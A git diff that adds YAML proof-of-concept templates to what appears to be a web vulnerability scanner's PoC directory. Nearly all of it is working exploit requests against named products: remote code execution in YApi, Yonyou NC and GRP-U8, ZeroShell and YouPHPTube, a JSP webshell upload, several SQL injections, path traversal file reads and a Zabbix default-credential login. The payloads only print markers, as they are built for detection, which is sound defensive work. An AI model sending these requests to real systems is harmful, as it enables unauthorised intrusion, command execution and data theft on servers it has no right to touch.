+ Accept-Encoding: 'deflate'
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string("/view/js/xiuno.js"))) && response.body.bcontains(bytes(string("Choose Language (选择语言)")))
+detail:
+ author: 清风明月(www.secbook.info)
+ influence_version: '=< Xiuno BBS 4.0.4'
+ links:
+ - https://www.cnvd.org.cn/flaw/show/CNVD-2019-01348
diff --git a/webscan/pocs/xunchi-cnvd-2020-23735-file-read.yml b/webscan/pocs/xunchi-cnvd-2020-23735-file-read.yml
new file mode 100644
index 0000000..75d69d7
--- /dev/null
+++ b/webscan/pocs/xunchi-cnvd-2020-23735-file-read.yml
@@ -0,0 +1,15 @@
+name: poc-yaml-xunchi-cnvd-2020-23735-file-read
+rules:
+ - method: GET
+ path: /backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php
+ headers:
+ Accept-Encoding: 'deflate'
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string("NzbwpQSdbY06Dngnoteo2wdgiekm7j4N"))) && response.body.bcontains(bytes(string("display_errors")))
+detail:
+ author: 清风明月(www.secbook.info)
+ influence_version: ' >= V2.3'
+ links:
+ - http://www.cnxunchi.com
+ - https://www.cnvd.org.cn/flaw/show/2025171
diff --git a/webscan/pocs/yapi-rce.yml b/webscan/pocs/yapi-rce.yml
new file mode 100644
index 0000000..b427144
--- /dev/null
+++ b/webscan/pocs/yapi-rce.yml
@@ -0,0 +1,84 @@
+name: poc-yaml-yapi-rce
+set:
+ redemail: randomLowercase(15)
+ redpassword: randomLowercase(15)
+ redproject: randomLowercase(8)
+ redinterface: randomLowercase(10)
+ r1: randomLowercase(10)
+ r2: randomLowercase(10)
+ r3: randomLowercase(10)
+ r4: randomLowercase(10)
+rules:
+ - method: POST
+ path: /api/user/reg
+ headers:
+ Content-Type: application/json;charset=UTF-8
+ follow_redirects: true
+ body: |
+ {"email":"{{redemail}}@qq.com","password":"{{redpassword}}","username":"{{redemail}}"}
+ expression: |
+ response.status == 200 && response.headers["Set-Cookie"].contains("_yapi_token=") && response.headers["Set-Cookie"].contains("_yapi_uid=") && response.body.bcontains(bytes(redemail))
+
+ - method: GET
+ path: /api/group/list
+ search: |
+ "_id":(?P.+?),
+ expression: |
+ response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(bytes("custom_field1"))
+
+ - method: POST
+ path: /api/project/add
+ headers:
+ Content-Type: application/json;charset=UTF-8
+ body: |
+ {"name":"{{redproject}}","basepath":"","group_id":"{{group_id}}","icon":"code-o","color":"cyan","project_type":"private"}
+ search: |
+ tag":\[\],"_id":(?P.+?),
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes("成功!")) && response.body.bcontains(bytes(redproject))
+
+ - method: GET
+ path: /api/project/get?id={{project_id}}
+ search: |
+ "_id":(?P.+?),
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes("成功!"))
+
+ - method: POST
+ path: /api/interface/add
+ headers:
+ Content-Type: application/json;charset=UTF-8
+ body: |
+ {"method":"GET","catid":"{{catid}}","title":"{{redinterface}}","path":"/{{redinterface}}","project_id":{{project_id}}}
+ search: |
+ "_id":(?P.+?),
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes("成功!")) && response.body.bcontains(bytes(redinterface))
+
+ - method: POST
+ path: /api/plugin/advmock/save
+ headers:
+ Content-Type: application/json;charset=UTF-8
+ body: |
+ {"project_id":"{{project_id}}","interface_id":"{{interface_id}}","mock_script":"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"echo {{r1}}${{{r2}}}{{r3}}^{{r4}}\").toString()","enable":true}
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes("成功!"))
+
+ - method: GET
+ path: /mock/{{project_id}}/{{redinterface}}
+ expression: |
+ response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4)))
+
+ - method: POST
+ path: /api/project/del
+ headers:
+ Content-Type: application/json;charset=UTF-8
+ body: |
+ {"id":{{project_id}}}
+ expression: |
+ response.status == 200
+detail:
+ author: tangshoupu
+ info: yapi-rce
+ links:
+ - https://github.com/YMFE/yapi/issues/2229
diff --git a/webscan/pocs/yccms-rce.yml b/webscan/pocs/yccms-rce.yml
new file mode 100644
index 0000000..e36105d
--- /dev/null
+++ b/webscan/pocs/yccms-rce.yml
@@ -0,0 +1,14 @@
+name: poc-yaml-yccms-rce
+set:
+ r: randomInt(800000000, 1000000000)
+ r1: randomInt(800000000, 1000000000)
+rules:
+ - method: GET
+ path: "/admin/?a=Factory();print({{r}}%2b{{r1}});//../"
+ expression: |
+ response.body.bcontains(bytes(string(r + r1)))
+detail:
+ author: j4ckzh0u(https://github.com/j4ckzh0u),violin
+ yccms: v3.3
+ links:
+ - https://blog.csdn.net/qq_36374896/article/details/84839891
diff --git a/webscan/pocs/yonyou-grp-u8-sqli-to-rce.yml b/webscan/pocs/yonyou-grp-u8-sqli-to-rce.yml
new file mode 100644
index 0000000..e7ca2a7
--- /dev/null
+++ b/webscan/pocs/yonyou-grp-u8-sqli-to-rce.yml
@@ -0,0 +1,16 @@
+name: poc-yaml-yonyou-grp-u8-sqli-to-rce
+set:
+ r1: randomInt(1000, 9999)
+ r2: randomInt(1000, 9999)
+rules:
+ - method: POST
+ path: /Proxy
+ follow_redirects: false
+ body: |
+ cVer=9.8.0&dp=XMLAS_DataRequestProviderNameDataSetProviderDataDataexec xp_cmdshell 'set/A {{r1}}*{{r2}}'
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+ author: MrP01ntSun(https://github.com/MrPointSun)
+ links:
+ - https://www.hackbug.net/archives/111.html
diff --git a/webscan/pocs/yonyou-grp-u8-sqli.yml b/webscan/pocs/yonyou-grp-u8-sqli.yml
new file mode 100644
index 0000000..5fd8452
--- /dev/null
+++ b/webscan/pocs/yonyou-grp-u8-sqli.yml
@@ -0,0 +1,15 @@
+name: poc-yaml-yonyou-grp-u8-sqli
+set:
+ r1: randomInt(40000, 44800)
+ r2: randomInt(40000, 44800)
+rules:
+ - method: POST
+ path: /Proxy
+ body: >
+ cVer=9.8.0&dp=%3c?xml%20version%3d%221.0%22%20encoding%3d%22GB2312%22?%3e%3cR9PACKET%20version%3d%221%22%3e%3cDATAFORMAT%3eXML%3c%2fDATAFORMAT%3e%3cR9FUNCTION%3e%3cNAME%3eAS_DataRequest%3c%2fNAME%3e%3cPARAMS%3e%3cPARAM%3e%3cNAME%3eProviderName%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3eDataSetProviderData%3c%2fDATA%3e%3c%2fPARAM%3e%3cPARAM%3e%3cNAME%3eData%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3e%20select%20{{r1}}%2a{{r2}}%20%3c%2fDATA%3e%3c%2fPARAM%3e%3c%2fPARAMS%3e%3c%2fR9FUNCTION%3e%3c%2fR9PACKET%3e
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+ author: 凉风(http://webkiller.cn/)
+ links:
+ - https://www.hacking8.com/bug-web/%E7%94%A8%E5%8F%8B/%E7%94%A8%E5%8F%8B-GRP-u8%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
\ No newline at end of file
diff --git a/webscan/pocs/yonyou-nc-arbitrary-file-upload.yml b/webscan/pocs/yonyou-nc-arbitrary-file-upload.yml
new file mode 100644
index 0000000..d2b975a
--- /dev/null
+++ b/webscan/pocs/yonyou-nc-arbitrary-file-upload.yml
@@ -0,0 +1,26 @@
+name: poc-yaml-yonyou-nc-arbitrary-file-upload
+set:
+ r1: randomInt(10000, 20000)
+ r2: randomInt(1000000000, 2000000000)
+ r3: b"\xac\xed\x00\x05sr\x00\x11java.util.HashMap\x05\a\xda\xc1\xc3\x16`\xd1\x03\x00\x02F\x00\nloadFactorI\x00\tthresholdxp?@\x00\x00\x00\x00\x00\fw\b\x00\x00\x00\x10\x00\x00\x00\x02t\x00\tFILE_NAMEt\x00\t"
+ r4: b".jspt\x00\x10TARGET_FILE_PATHt\x00\x10./webapps/nc_webx"
+rules:
+ - method: POST
+ path: /servlet/FileReceiveServlet
+ headers:
+ Content-Type: multipart/form-data;
+ body: >-
+ {{r3}}{{r1}}{{r4}}<%out.print("{{r2}}");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
+ expression: |
+ response.status == 200
+ - method: GET
+ path: '/{{r1}}.jsp'
+ headers:
+ Content-Type: application/x-www-form-urlencoded
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r2)))
+detail:
+ author: pa55w0rd(www.pa55w0rd.online/)
+ Affected Version: "YONYOU NC > 6.5"
+ links:
+ - https://blog.csdn.net/weixin_44578334/article/details/110917053
diff --git a/webscan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml b/webscan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml
new file mode 100644
index 0000000..11deeac
--- /dev/null
+++ b/webscan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml
@@ -0,0 +1,14 @@
+name: poc-yaml-yonyou-nc-bsh-servlet-bshservlet-rce
+set:
+ r1: randomInt(8000, 9999)
+ r2: randomInt(8000, 9999)
+rules:
+ - method: POST
+ path: /servlet/~ic/bsh.servlet.BshServlet
+ body: bsh.script=print%28{{r1}}*{{r2}}%29%3B
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+ author: B1anda0(https://github.com/B1anda0)
+ links:
+ - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
diff --git a/webscan/pocs/yonyou-u8-oa-sqli.yml b/webscan/pocs/yonyou-u8-oa-sqli.yml
new file mode 100644
index 0000000..51aa2c1
--- /dev/null
+++ b/webscan/pocs/yonyou-u8-oa-sqli.yml
@@ -0,0 +1,14 @@
+name: poc-yaml-yongyou-u8-oa-sqli
+set:
+ rand: randomInt(200000000, 220000000)
+rules:
+ - method: GET
+ path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}}))
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
+
+detail:
+ author: kzaopa(https://github.com/kzaopa)
+ links:
+ - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
diff --git a/webscan/pocs/youphptube-encoder-cve-2019-5127.yml b/webscan/pocs/youphptube-encoder-cve-2019-5127.yml
new file mode 100644
index 0000000..9c7ce3e
--- /dev/null
+++ b/webscan/pocs/youphptube-encoder-cve-2019-5127.yml
@@ -0,0 +1,20 @@
+name: poc-yaml-youphptube-encoder-cve-2019-5127
+set:
+ fileName: randomLowercase(4) + ".txt"
+ content: randomLowercase(8)
+ payload: urlencode(base64("`echo " + content + " > " + fileName + "`"))
+rules:
+ - method: GET
+ path: /objects/getImage.php?base64Url={{payload}}&format=png
+ follow_redirects: true
+ expression: |
+ response.status == 200
+ - method: GET
+ path: /objects/{{fileName}}
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(content))
+detail:
+ author: 0x_zmz(github.com/0x-zmz)
+ links:
+ - https://xz.aliyun.com/t/6708
diff --git a/webscan/pocs/youphptube-encoder-cve-2019-5128.yml b/webscan/pocs/youphptube-encoder-cve-2019-5128.yml
new file mode 100644
index 0000000..7f12c83
--- /dev/null
+++ b/webscan/pocs/youphptube-encoder-cve-2019-5128.yml
@@ -0,0 +1,20 @@
+name: poc-yaml-youphptube-encoder-cve-2019-5128
+set:
+ fileName: randomLowercase(4) + ".txt"
+ content: randomLowercase(8)
+ payload: urlencode(base64("`echo " + content + " > " + fileName + "`"))
+rules:
+ - method: GET
+ path: /objects/getImageMP4.php?base64Url={{payload}}&format=jpg
+ follow_redirects: true
+ expression: |
+ response.status == 200
+ - method: GET
+ path: /objects/{{fileName}}
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(content))
+detail:
+ author: 0x_zmz(github.com/0x-zmz)
+ links:
+ - https://xz.aliyun.com/t/6708
diff --git a/webscan/pocs/youphptube-encoder-cve-2019-5129.yml b/webscan/pocs/youphptube-encoder-cve-2019-5129.yml
new file mode 100644
index 0000000..2393096
--- /dev/null
+++ b/webscan/pocs/youphptube-encoder-cve-2019-5129.yml
@@ -0,0 +1,20 @@
+name: poc-yaml-youphptube-encoder-cve-2019-5129
+set:
+ fileName: randomLowercase(4) + ".txt"
+ content: randomLowercase(8)
+ payload: urlencode(base64("`echo " + content + " > " + fileName + "`"))
+rules:
+ - method: GET
+ path: /objects/getSpiritsFromVideo.php?base64Url={{payload}}&format=jpg
+ follow_redirects: true
+ expression: |
+ response.status == 200
+ - method: GET
+ path: /objects/{{fileName}}
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(content))
+detail:
+ author: 0x_zmz(github.com/0x-zmz)
+ links:
+ - https://xz.aliyun.com/t/6708
diff --git a/webscan/pocs/yungoucms-sqli.yml b/webscan/pocs/yungoucms-sqli.yml
new file mode 100644
index 0000000..5fc2792
--- /dev/null
+++ b/webscan/pocs/yungoucms-sqli.yml
@@ -0,0 +1,14 @@
+name: poc-yaml-yungoucms-sqli
+set:
+ rand: randomInt(2000000000, 2100000000)
+rules:
+ - method: GET
+ path: >-
+ /?/member/cart/Fastpay&shopid=-1%20union%20select%20md5({{rand}}),2,3,4%20--+
+ follow_redirects: false
+ expression: >
+ response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
+detail:
+ author: cc_ci(https://github.com/cc8ci)
+ links:
+ - https://www.secquan.org/Prime/1069179
\ No newline at end of file
diff --git a/webscan/pocs/zabbix-authentication-bypass.yml b/webscan/pocs/zabbix-authentication-bypass.yml
new file mode 100644
index 0000000..1cc08ab
--- /dev/null
+++ b/webscan/pocs/zabbix-authentication-bypass.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-zabbix-authentication-bypass
+rules:
+ - method: GET
+ path: /zabbix.php?action=dashboard.view&dashboardid=1
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes("Share")) && response.body.bcontains(b"Dashboard")
+detail:
+ author: FiveAourThe(https://github.com/FiveAourThe)
+ links:
+ - https://www.exploit-db.com/exploits/47467
\ No newline at end of file
diff --git a/webscan/pocs/zabbix-cve-2016-10134-sqli.yml b/webscan/pocs/zabbix-cve-2016-10134-sqli.yml
new file mode 100644
index 0000000..494acc6
--- /dev/null
+++ b/webscan/pocs/zabbix-cve-2016-10134-sqli.yml
@@ -0,0 +1,14 @@
+name: poc-yaml-zabbix-cve-2016-10134-sqli
+set:
+ r: randomInt(2000000000, 2100000000)
+rules:
+ - method: GET
+ path: >-
+ /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5({{r}})),0)
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r)), 0, 31)))
+detail:
+ author: sharecast
+ links:
+ - https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134
\ No newline at end of file
diff --git a/webscan/pocs/zabbix-default-password.yml b/webscan/pocs/zabbix-default-password.yml
new file mode 100644
index 0000000..7264136
--- /dev/null
+++ b/webscan/pocs/zabbix-default-password.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-zabbix-default-password
+rules:
+ - method: POST
+ path: /index.php
+ body: name=Admin&password=zabbix&autologin=1&enter=Sign+in
+ expression: |
+ response.status == 302 && response.headers["Location"] == "zabbix.php?action=dashboard.view" && response.headers["set-cookie"].contains("zbx_session")
+detail:
+ author: fuzz7j(https://github.com/fuzz7j)
+ links:
+ - https://www.zabbix.com/documentation/3.4/zh/manual/quickstart/login
diff --git a/webscan/pocs/zcms-v3-sqli.yml b/webscan/pocs/zcms-v3-sqli.yml
new file mode 100644
index 0000000..dc9d3b0
--- /dev/null
+++ b/webscan/pocs/zcms-v3-sqli.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-zcms-v3-sqli
+rules:
+ - method: GET
+ path: >-
+ /admin/cms_channel.php?del=123456+AND+(SELECT+1+FROM(SELECT+COUNT(*)%2cCONCAT(0x7e%2cmd5(202072102)%2c0x7e%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)--%2b
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(b"6f7c6dcbc380aac3bcba1f9fccec991e")
+detail:
+ author: MaxSecurity(https://github.com/MaxSecurity)
+ links:
+ - https://www.anquanke.com/post/id/183241
diff --git a/webscan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml b/webscan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml
new file mode 100644
index 0000000..ab8cfe3
--- /dev/null
+++ b/webscan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-zeit-nodejs-cve-2020-5284-directory-traversal
+rules:
+ - method: GET
+ path: /_next/static/../server/pages-manifest.json
+ expression: |
+ response.status == 200 && response.headers["Content-Type"].contains("application/json") && "/_app\": \".*?_app\\.js".bmatches(response.body)
+detail:
+ author: x1n9Qi8
+ links:
+ - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-1728
+ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5284
\ No newline at end of file
diff --git a/webscan/pocs/zeroshell-cve-2019-12725-rce.yml b/webscan/pocs/zeroshell-cve-2019-12725-rce.yml
new file mode 100644
index 0000000..13f6068
--- /dev/null
+++ b/webscan/pocs/zeroshell-cve-2019-12725-rce.yml
@@ -0,0 +1,16 @@
+name: poc-yaml-zeroshell-cve-2019-12725-rce
+set:
+ r1: randomInt(800000000, 1000000000)
+ r2: randomInt(800000000, 1000000000)
+rules:
+ - method: GET
+ path: /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aexpr%20{{r1}}%20-%20{{r2}}%0A%27
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r1 - r2)))
+
+detail:
+ author: YekkoY
+ description: "ZeroShell 3.9.0-远程命令执行漏洞-CVE-2019-12725"
+ links:
+ - http://wiki.xypbk.com/IOT%E5%AE%89%E5%85%A8/ZeroShell/ZeroShell%203.9.0%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2019-12725.md?btwaf=51546333
diff --git a/webscan/pocs/zimbra-cve-2019-9670-xxe.yml b/webscan/pocs/zimbra-cve-2019-9670-xxe.yml
new file mode 100644
index 0000000..ad969dd
--- /dev/null
+++ b/webscan/pocs/zimbra-cve-2019-9670-xxe.yml
@@ -0,0 +1,19 @@
+name: poc-yaml-zimbra-cve-2019-9670-xxe
+rules:
+ - method: POST
+ path: /Autodiscover/Autodiscover.xml
+ headers:
+ Content-Type: text/xml
+ body: >-
+ ]>test@test.com&xxe;
+ follow_redirects: false
+ expression: |
+ response.body.bcontains(b"zmmailboxd.out") && response.body.bcontains(b"Requested response schema not available")
+detail:
+ author: fnmsd(https://blog.csdn.net/fnmsd)
+ cve-id: CVE-2019-9670
+ vuln_path: /Autodiscover/Autodiscover.xml
+ description: Zimbra XXE Vul,may Control your Server with AdminPort SSRF
+ links:
+ - https://blog.csdn.net/fnmsd/article/details/88657083
+ - https://blog.csdn.net/fnmsd/article/details/89235589
\ No newline at end of file
diff --git a/webscan/pocs/zzcms-zsmanage-sqli.yml b/webscan/pocs/zzcms-zsmanage-sqli.yml
new file mode 100644
index 0000000..3652b9c
--- /dev/null
+++ b/webscan/pocs/zzcms-zsmanage-sqli.yml
@@ -0,0 +1,25 @@
+name: poc-yaml-zzcms-zsmanage-sqli
+set:
+ r0: randomLowercase(6)
+ r1: randomInt(40000, 44800)
+ r2: randomInt(40000, 44800)
+rules:
+ - method: POST
+ path: /user/zs.php?do=save
+ headers:
+ Content-Type: application/x-www-form-urlencoded
+ body: >-
+ proname={{r0}}&tz=1%E4%B8%87%E4%BB%A5%E4%B8%8B&prouse={{r0}}&sx%5B%5D=&sx%5B%5D=&sm={{r0}}&province=%E5%85%A8%E5%9B%BD&city=%E5%85%A8%E5%9B%BD%E5%90%84%E5%9C%B0%E5%8C%BA&xiancheng=&cityforadd=&img=%2Fimage%2Fnopic.gif&flv=&zc=&yq=&action=add&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF&smallclassid[]=1&smallclassid[]=2)%20union%20select%20{{r1}}*{{r2}}%23
+ follow_redirects: true
+ expression: |
+ response.status == 200
+ - method: GET
+ path: /user/zsmanage.php
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+ author: JingLing(https://hackfun.org/)
+ version: zzcms201910
+ links:
+ - https://github.com/JcQSteven/blog/issues/18